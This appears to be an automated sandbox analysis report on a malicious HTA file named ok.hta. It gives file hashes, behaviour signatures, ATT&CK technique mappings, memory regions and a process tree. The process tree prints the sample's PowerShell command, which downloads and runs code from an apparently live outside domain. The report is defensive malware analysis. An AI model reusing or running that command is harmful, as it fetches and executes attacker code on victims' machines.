Resubmissions

01-06-2024 21:09

240601-zzxvbafa7v 7

Analysis

  • max time kernel
    135s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-06-2024 23:46

General

  • Target

    02-downloaded-HTA-file/ok.hta

  • Size

    2KB

  • MD5

    a77becccca5571c00ebc9e516fd96ce8

  • SHA1

    d8fb7d7985860e813d33927aa95f7ac54ff400b6

  • SHA256

    5c204217d48f2565990dfdf2269c26113bd14c204484d8f466fb873312da80cf

  • SHA512

    03d14473a27a83d56d80a489413fc3e1f543a4478f5e77ec120142cd1f4ebbe76d7d1c2d0edcdb214ec3c28cfb2bd7ce157d80abf4c727cbda729bfde8627149

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\02-downloaded-HTA-file\ok.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'flexiblemaria.com/umkglnks')
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:880
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3744,i,3724086843943218842,1026644135694712596,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:8
    1⤵
      PID:3720

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1pcbc02q.b1s.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/880-6-0x0000000005B80000-0x0000000005BE6000-memory.dmp
      Filesize

      408KB

    • memory/880-1-0x0000000002C90000-0x0000000002CC6000-memory.dmp
      Filesize

      216KB

    • memory/880-2-0x0000000074500000-0x0000000074CB0000-memory.dmp
      Filesize

      7.7MB

    • memory/880-4-0x0000000074500000-0x0000000074CB0000-memory.dmp
      Filesize

      7.7MB

    • memory/880-5-0x0000000005A00000-0x0000000005A22000-memory.dmp
      Filesize

      136KB

    • memory/880-0-0x000000007450E000-0x000000007450F000-memory.dmp
      Filesize

      4KB

    • memory/880-7-0x0000000005BF0000-0x0000000005C56000-memory.dmp
      Filesize

      408KB

    • memory/880-3-0x00000000053D0000-0x00000000059F8000-memory.dmp
      Filesize

      6.2MB

    • memory/880-17-0x0000000005DE0000-0x0000000006134000-memory.dmp
      Filesize

      3.3MB

    • memory/880-19-0x0000000006290000-0x00000000062DC000-memory.dmp
      Filesize

      304KB

    • memory/880-18-0x0000000006250000-0x000000000626E000-memory.dmp
      Filesize

      120KB

    • memory/880-20-0x00000000078D0000-0x0000000007F4A000-memory.dmp
      Filesize

      6.5MB

    • memory/880-21-0x0000000006790000-0x00000000067AA000-memory.dmp
      Filesize

      104KB

    • memory/880-24-0x0000000074500000-0x0000000074CB0000-memory.dmp
      Filesize

      7.7MB